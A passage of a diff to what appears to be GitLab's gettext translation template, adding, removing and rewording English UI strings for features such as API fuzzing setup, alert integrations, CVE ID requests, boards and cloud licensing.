msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
